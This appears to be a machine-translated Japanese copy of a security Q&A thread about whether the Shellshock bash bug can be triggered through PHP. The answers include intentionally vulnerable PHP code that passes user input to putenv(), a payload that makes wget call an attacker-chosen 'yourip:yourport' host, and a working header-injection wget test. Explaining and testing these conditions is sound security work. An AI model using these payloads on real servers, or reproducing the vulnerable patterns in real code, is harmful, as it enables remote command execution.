web-dev-qa-db-ja.com

PHPを悪用するShellshock攻撃シナリオ

Cgiスクリプトでwgetを使用する攻撃シナリオを見てきましたが、bashスクリプトにexec()またはsystem()呼び出しを発行するWebサーバーのphpスクリプトを悪用するシナリオはどうですか?

私の知る限り、HTTP_USER_AGENTのような環境変数は、少なくともデフォルトでは、実行されたシェルスクリプトに渡されません。

7
Joe Knapp

PHPはShellshockケースでのみ利用できます。これは、CGIの動作の性質上、PHP-CGIモードで使用することによってのみ可能です。 PHP system()exec()などの関数の場合、PHPで環境変数を設定しない限り、環境変数に影響を与えることはできません。それがsystem( "HTTP_SERVER = evil.example.org/path/to/script");のような例になります。

6
hspaans

PHPがmod_phpを使用してデプロイされている場合、このシナリオは基本的に安全です。あなたが言うように、PHPはCGIのように信頼できないデータを環境変数に入れません。

PHPがCGI(まれな構成です)を使用して展開されている場合、スクリプトがbashを呼び出すと脆弱になります。次のように表示されますPHP system()/bin/shを使用します-Redhatディストリビューションでは、これはbashになる傾向がありますが、Debianにはありません。

スクリプトが信頼できないデータを使用して環境変数を設定すると、脆弱になります。それはまれなケースだと思いますが、「PHPは安全である」と確実に言うのをやめてしまうので、迷惑です。

4
paj28

私はそれがCGIで悪用されるのと同じ方法でphpに悪用される可能性があるとは思いません。

次の出力を比較すると、

$ cat ./testing3.cgi
#!/bin/bash
echo "Content-type: text/plain"
echo
echo
set

出力先:

$ cat ./testing.php 
<?php

system('set');

?>

Bashに読み込まれる環境変数は大きく異なります。特に、HTTP_USER_AGENT、または環境への同様のユーザー提供の入力はありません。

そうは言っても、それは非常に醜いバグであり、それを悪用する多くの予期しない方法がある可能性があると思います。 bashのCGI呼び出しに使用されるメソッドが、bashのphp呼び出しの可能な角度と同じになるとは思いません。

2
mgjk

私のテストから、PHP mod_phpを使用してifを介して悪用することは可能であるように思われます。

  1. / bin/shは/ bin/bashにシンボリックリンクされます。
  2. PHPアプリは、putenv()を使用してユーザー制御のHTTP変数から環境変数を設定します。
  3. PHPスクリプトのどこかに、コマンドexec関数への後続の呼び出しがあり、それが環境変数(exec()、passthru()、system()、popen()など)をロードします) )bashシェルインスタンスで実行されているため、このシステムコール/コマンドexec関数は、後で発生する限り、環境変数の設定に関連付ける必要はありません。

たとえば、ここでは、今日前に見た、無害化されていないGETパラメータに基づいてLANGUAGE環境変数を設定するいくつかのコードの一般化された形式を示します。下に追加したpopenコールがトリガーになります。

function getLang() { if (isset($_GET["lang"]) && !empty($_GET["lang"])) { $lang = $_GET["lang"]; } return $lang; } $language = getLang(); putenv("LANGUAGE=$language"); /** A bunch of irrelevant code **/
$file = popen("/bin/ls", "r"); /** or $result = exec("ls"); or $result = passthru("ls"); etc **/

この場合、アプリケーションはユーザー制御のGETパラメーターを使用して環境変数を設定するため、(){:;}; /usr/bin/wget http://yourip:yourportなどのlangの値は、選択したサーバー/ポートにwgetを試行する必要があります。 Cookieの値に基づいてENV変数を設定する同様のコードと、そのヘッダー値を改ざんする$language=$=COOKIE["lang"]が、vulnをトリガーする可能性があることを確認しました。

明らかに、信頼できないユーザーデータに基づいて変数を設定することは本当に悪い習慣です。この場合、最終的にペイロードを実行するpopen(symlinkのおかげでBashで実行されます)への呼び出しです。 symlinkとペイロードが正常に実行された後、Debian環境でこれをテストしました。 hspaansが言ったことに沿って、system()またはexec()の呼び出しで任意の環境変数の設定に影響を与えることはできないため、このようなものの悪用の成功は、アプリケーションとアプリケーションの設計に完全に依存しますそれが実行される環境。

非CGIに関する詳細情報は以下のとおりですPHP脆弱性: http://lcamt​​uf.blogspot.com/2014/09/quick-notes-about-bash-bug-its- Impact.html

1
T_v3rn1x

この単純なPHPファイルは、Shellshockのセキュリティホールを提供します。

shock.php

<?php

# in some configurations (CGI) your webserver does the following for you:
foreach ($_ENV as $k => $v) putenv("$k=$v");

# execute something with bash
echo Shell_exec("bash -c 'echo hello from bash!'");

攻撃を実行するには

wget --header="X-Exploit: () { :; }; echo Hacked" -q -O -  http://127.0.0.1/shock.php

出力

ハッキング

バッシュからこんにちは!

1
hegemon